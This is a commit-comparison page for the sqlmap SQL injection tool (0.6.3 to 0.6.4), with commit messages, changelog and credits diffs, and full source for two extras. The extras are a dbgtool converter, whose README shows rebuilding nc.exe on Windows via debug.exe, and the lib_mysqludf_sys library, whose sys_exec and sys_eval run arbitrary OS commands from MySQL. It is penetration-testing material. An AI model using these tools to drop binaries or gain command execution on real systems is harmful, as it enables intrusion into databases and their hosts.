Compare commits

...

64 Commits
0.6.3 ... 0.6.4

Author SHA1 Message Date
Bernardo Damele
b12d955274 Updated packaging scripts, site and finalized the documentation to release version 0.6.4 2009-02-03 15:38:40 +00:00
Bernardo Damele
770e000cb4 Fixed another bug on Microsoft SQL Server custom "limited" query reported by Konrads Smelkovs 2009-02-02 23:44:19 +00:00
Bernardo Damele
9ab174a444 Almost ready with the user's manual for 0.6.4 release 2009-02-01 13:44:44 +00:00
Bernardo Damele
77d9d22ceb Minor update to the user's manual 2009-02-01 00:20:08 +00:00
Bernardo Damele
dded57f1cd Minor bug fix to correctly unpack user's custom queries on Microsoft SQL Server 2009-01-30 23:58:48 +00:00
Bernardo Damele
ad03684788 Added another PostgreSQL banner signature for Windows (it's specific
for PostgreSQL compiled by hand with MinGW/GCC or using the binary MSI
file of PostgreSQL version 8.2.x. PostgreSQL 8.3.x is compiled by
default using Visual C++)
2009-01-30 00:35:05 +00:00
Bernardo Damele
6054090191 sqlmap 0.6-rc5: major bug fix to make --sql-shell and --sql-query work properly also with mixed case statements (i.e oRDeR bY). Thanks Konrads Smelkovs to notifying. 2009-01-28 14:53:11 +00:00
Bernardo Damele
a8d57bb031 Avoid DeprecationWarning with Python 2.6+ 2009-01-22 23:53:01 +00:00
Bernardo Damele
193482a62b Updated user's manual 2009-01-22 23:44:44 +00:00
Bernardo Damele
981c7a4428 Updated Microsoft SQL Server XML signature db 2009-01-22 22:30:45 +00:00
Bernardo Damele
793c323b2a Major bug fixes 2009-01-22 22:28:27 +00:00
Bernardo Damele
d54a51a328 Updated the HTML manual for the MySQL UDF and consequently other files. Thanks Roland! 2009-01-22 21:28:56 +00:00
Bernardo Damele
69204afe1f Updated copyright 2009-01-22 00:41:57 +00:00
Bernardo Damele
9631dc115e Added PostgreSQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

Inspired by lib_mysqludf_sys 0.0.3 (https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/)
2009-01-22 00:35:17 +00:00
Bernardo Damele
ae0f1985f3 Updated also the patch file 2009-01-21 20:54:14 +00:00
Bernardo Damele
deeccf9b5e Updated tar.gz package 2009-01-21 00:53:10 +00:00
Bernardo Damele
1c5925ea2b Minor adjustments 2009-01-21 00:52:23 +00:00
Bernardo Damele
7adbf5892d Updated user's manual 2009-01-19 23:45:54 +00:00
Bernardo Damele
c25b49e80e Major bugfix to avoid "IFNULL and CAST" on CASE 2009-01-19 21:27:51 +00:00
Bernardo Damele
96db179ffe Minor adjustment 2009-01-19 21:26:02 +00:00
Bernardo Damele
f91843540f Major bug fix when the CU alias (current user) is given (with -U option)
together with --privileges or --password to work properly also on
MySQL >= 5.0.
2009-01-19 21:25:37 +00:00
Bernardo Damele
8f973ce574 Minor layout adjustments 2009-01-18 22:36:48 +00:00
Bernardo Damele
161590e121 Added MySQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

It's a patched version of http://mysqludf.org/lib_mysqludf_sys/index.php
2009-01-17 00:13:16 +00:00
Bernardo Damele
6690b4c00a Added svn executable property 2009-01-17 00:05:47 +00:00
Bernardo Damele
bc3b4c6936 Minor layout adjustments in the user's manual 2009-01-13 23:16:34 +00:00
Bernardo Damele
fd7cb9101c Major bug fix to forge SQL injection payload on Oracle 2009-01-13 23:15:57 +00:00
Bernardo Damele
bc448211c5 Minor layout adjustment 2009-01-13 23:15:23 +00:00
Bernardo Damele
73e713c5ba Minor adjustments 2009-01-12 23:59:07 +00:00
Bernardo Damele
26cb082fc3 Added a README for dbgtool 2009-01-12 23:17:15 +00:00
Bernardo Damele
de393628d0 Added dbgtool to extras, a port in python of toolcrypt.org dbgtool. Inspired by sqlninja perl script makescr.pl. 2009-01-12 23:02:02 +00:00
Bernardo Damele
5560f0b68a Updated the copyright 2009-01-12 21:35:38 +00:00
Bernardo Damele
92645dd264 Minor adjustment 2009-01-10 14:51:12 +00:00
Bernardo Damele
9b0f11f879 Added an ASP uploader 2009-01-10 14:40:04 +00:00
Bernardo Damele
e10ab5aa0e Major bug fixes 2009-01-10 14:39:27 +00:00
Bernardo Damele
9c125a2b57 Minor improvement to use Python ConfigParser library when --save if specified.
Minor update to the user's manual
2009-01-03 22:59:22 +00:00
Bernardo Damele
6ff8feb5cf Updated documentation 2009-01-03 01:25:43 +00:00
Bernardo Damele
d0604ef513 Major bug fix to correctly handle custom SQL "limited" queries on Oracle 2009-01-03 01:19:04 +00:00
Bernardo Damele
2d87a3349f Fixed custom MSSQL "limited" query support also for Partial UNION query technique 2009-01-03 00:27:04 +00:00
Bernardo Damele
9c42a883be Major bug fix to make it work properly with MSSQL custom limited (SELECT
TOP ...) queries with both inferential blind and Full UNION query
injection
2009-01-02 23:26:45 +00:00
Bernardo Damele
2cc3bb2f6a Minor improvement to PostgreSQL signatures file to identify Windows.
Minor improvement to Microsoft SQL Server "limit" queries.
2009-01-02 23:23:55 +00:00
Bernardo Damele
9e0d890171 Fixed MySQL 5.1 extensive fingerprint 2009-01-02 23:21:31 +00:00
Bernardo Damele
c1010c20d8 Minor adjustments 2008-12-30 21:24:01 +00:00
Bernardo Damele
a4d62af2ea Minor layout adjustments to --union-tech 2008-12-29 18:48:23 +00:00
Bernardo Damele
9340bf59fb Updated Microsoft SQL Server signature XML file.
Minor layout adjustments to --update output messages/diff
2008-12-29 18:46:43 +00:00
Bernardo Damele
0e9873fd4f Preparing documentation for 0.6.4 2008-12-29 18:44:20 +00:00
Bernardo Damele
c83593c044 Limited custom query now works also on Oracle in inferential blind SQL
injection technique
2008-12-23 23:34:50 +00:00
Bernardo Damele
24ddbdc89d Minor layout adjustment 2008-12-22 23:34:22 +00:00
Bernardo Damele
b0ad102efb Better fingerprint technique for Microsoft SQL Server 2008-12-22 23:32:43 +00:00
Bernardo Damele
79c8d63b88 Major speed increase in DBMS basic fingerprint 2008-12-22 23:26:44 +00:00
Bernardo Damele
64bb57d786 Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server.
2008-12-22 22:48:44 +00:00
Bernardo Damele
1f7810e46a Major bug fix to make partial UNION query sql injection work properly
also on Microsoft SQL Server
2008-12-22 19:36:01 +00:00
Bernardo Damele
064029cb2d Addd one more MS Access signature 2008-12-22 19:35:13 +00:00
Bernardo Damele
04c187c66a Working on a bug (fix for Partial UNION query SQL injection technique
both Oracle and Microsoft SQL Server).
2008-12-22 00:51:09 +00:00
Bernardo Damele
2f406b3e56 Minor adjustments 2008-12-22 00:04:28 +00:00
Bernardo Damele
c05f600e90 Minor fix 2008-12-21 21:40:09 +00:00
Bernardo Damele
4ae464c80d Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause.
2008-12-21 21:39:53 +00:00
Bernardo Damele
f92b76a8b0 Minor bug fix 2008-12-21 16:39:40 +00:00
Bernardo Damele
374b9ba878 Updated documentation based upon recent developments 2008-12-21 16:35:45 +00:00
Bernardo Damele
35708a0b97 Minor adjustment to UNION query SQL injection detection function.
Updated command line help message based upon recent developments.
Updated copyright note of lib/contrib/multipartpost.py.
2008-12-21 16:35:03 +00:00
Bernardo Damele
996a872e51 We are already on sqlmap 0.6.4 release candidate 1.. 2008-12-20 13:23:26 +00:00
Bernardo Damele
c18efe5084 Minor adjustments 2008-12-20 13:21:47 +00:00
Bernardo Damele
8d06975142 Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib SequenceMatcher
object: this changed a lot into the structure of the code, has to be
extensively beta-tested!
Please, do report bugs on sqlmap-users mailing list if you scout them.
Cheers,
Bernardo
2008-12-20 01:54:08 +00:00
Bernardo Damele
7e8ac16245 Added preventive check for stacked queries support when executing DDL,
DML & co. statements in SQL query and SQL shell. Minor improvements on    
this new feature.
Increased default connection timeout to 30 seconds (needed for vmware
machine not correctly synched).
2008-12-19 20:48:33 +00:00
Bernardo Damele
ad228e6947 Ahead with the improvements to the comparison algorithm.
Added support internally to forge CASE statements, used only by
--is-dba query at the moment.
Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and
SQL shell.
Minor code adjustments.
2008-12-19 20:09:46 +00:00
94 changed files with 3024 additions and 1091 deletions

View File

@@ -1,13 +1,33 @@
sqlmap (0.6.4-1) stable; urgency=low sqlmap (0.6.4-1) stable; urgency=low
* Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib Sequence Matcher
object;
* Major enhancement to support SQL data definition statements, SQL data
manipulation statements, etc from user in SQL query and SQL shell if
stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (--is-dba) to show if the * Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator; current user is a database management system administrator;
* Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause bruteforcing;
* Added internal support to forge CASE statements, used only by --is-dba
query at the moment;
* Minor layout adjustment to the --update output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on
Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified * Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable; and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server;
* Minor bug fix to make the --postfix work even if --prefix is not * Minor bug fix to make the --postfix work even if --prefix is not
provided; provided;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
sqlmap (0.6.3-1) stable; urgency=low sqlmap (0.6.3-1) stable; urgency=low

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -116,9 +116,20 @@ Sven Schluter <sschlueter@netzwerk.cc>
for providing with a patch for waiting a number of seconds between for providing with a patch for waiting a number of seconds between
each HTTP request each HTTP request
Uemit Seren <uemit.seren@gmail.com>
for reporting a minor adjustment when running with python 2.6
Sumit Siddharth <sid@notsosecure.com>
for providing me with ideas on the implementation on a couple of
features
M Simkin <mlsimkin@cox.net> M Simkin <mlsimkin@cox.net>
for suggesting a feature for suggesting a feature
Konrads Smelkovs <konrads@smelkovs.com>
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
SQL Server
Jason Swan <jasoneswan@gmail.com> Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements for suggesting a couple of improvements

24
extra/dbgtool/README.txt Normal file
View File

@@ -0,0 +1,24 @@
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
and optionally the output debug.exe script file name.
Example:
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
This will create a ASCII text file with CRLF line terminators called
nc.scr.
Such file can then be converted to its original portable executable with
the Windows native debug.exe, that is installed by default in all Windows
systems:
> debug.exe < nc.scr
To be able to execute it on Windows you have to rename it to end with
'.com' or '.exe':
> ren nc_exe nc.exe
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

114
extra/dbgtool/dbgtool.py Executable file
View File

@@ -0,0 +1,114 @@
#!/usr/bin/env python
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import struct
from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
if fileSize > 65280:
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
sys.exit(1)
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
scrString = ""
counter = 256
counter2 = 0
fp = open(inputFile, 'rb')
fileContent = fp.read()
for fileChar in fileContent:
unsignedFileChar = struct.unpack('B', fileChar)[0]
if unsignedFileChar != 0:
counter2 += 1
if not scrString:
scrString = "e %0x %02x" % (counter, unsignedFileChar)
else:
scrString += " %02x" % unsignedFileChar
elif scrString:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
counter += 1
if counter2 == 20:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
script += "w\r\nq\r\n"
return script
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
sys.exit(1)
script = convert(inputFile)
if outputFile:
fpOut = open(outputFile, 'w')
sys.stdout = fpOut
sys.stdout.write(script)
sys.stdout.close()
else:
print script
if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
try:
parser.add_option('-i', dest='inputFile', help='Input binary file')
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
(args, _) = parser.parse_args()
if not args.inputFile:
parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e:
parser.error(e)
inputFile = args.inputFile
outputFile = args.outputFile
main(inputFile, outputFile)

View File

@@ -76,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
SQLMAP: SQLMAP:
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
msf auxiliary(wmap_sqlmap) > msf auxiliary(wmap_sqlmap) >
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

View File

@@ -0,0 +1,4 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so

View File

@@ -0,0 +1,43 @@
#!/bin/bash
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2007 Roland Bouman
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
# web: http://www.mysqludf.org/
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
echo "Compiling the MySQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need libmysqlclient development software installed "
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install libmysqlclient15-dev"
exit 1
else
echo "MySQL UDF compiled successfully"
fi
echo -e "\nPlease provide your MySQL root password"
mysql -u root -p mysql < lib_mysqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "MySQL UDF installed successfully"
fi

View File

@@ -0,0 +1,426 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen] = 0x00;
*length = strlen(result);
}
return result;
}
#endif /* HAVE_DLOPEN */

View File

@@ -0,0 +1,278 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
</head>
<body>
<div>
<a href="../index.html">Top</a>
| <a href="../mysql_udf_repository_libraries.html">Up</a>
</div>
<h1>lib_mysqludf_sys</h1>
<div>
<a href="lib_mysqludf_sys.html">Documentation</a>
| <a href="lib_mysqludf_sys.so">Binary</a>
| <a href="lib_mysqludf_sys.sql">Installation</a>
| <a href="lib_mysqludf_sys.c">Source</a>
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
</div>
<p>
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
<p>
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
<a name="sys_eval"></a><h2>sys_eval</h2>
<p>
<code>sys_eval</code> takes one command string argument and executes it, returning its output.
</p>
<h3>Syntax</h3>
<pre>sys_eval(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
Whatever output the command pushed to the standard output stream.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_eval;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
</p>
<h3>Syntax</h3>
<pre>sys_exec(<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A command string valid for the current operating system or execution environment.
</dd>
<dt>returns</dt>
<dd>
An (integer) exit code returned by the executed process.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_exec;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_get([<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt>returns</dt>
<dd>
If the variable exists, a string containing the value of the environment variable.
If the variable does not exist, the function return NULL.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_get;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
The variables known in the environment where mysql runs are freely accessible using this function.
Any user can get access to potentially secret information, such as
the user that is running mysqld, the path of the user's home directory etc.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<a name="sys_set"></a><h2>sys_set</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_set([<b>arg1, arg2</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt><code><b>arg2</b></code></dt>
<dd>
An expression that contains the value that is to be assigned to the environment variable.
</dd>
<dt>returns</dt>
<dd>
0 if the assignment or creation succeed.
non-zero otherwise.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
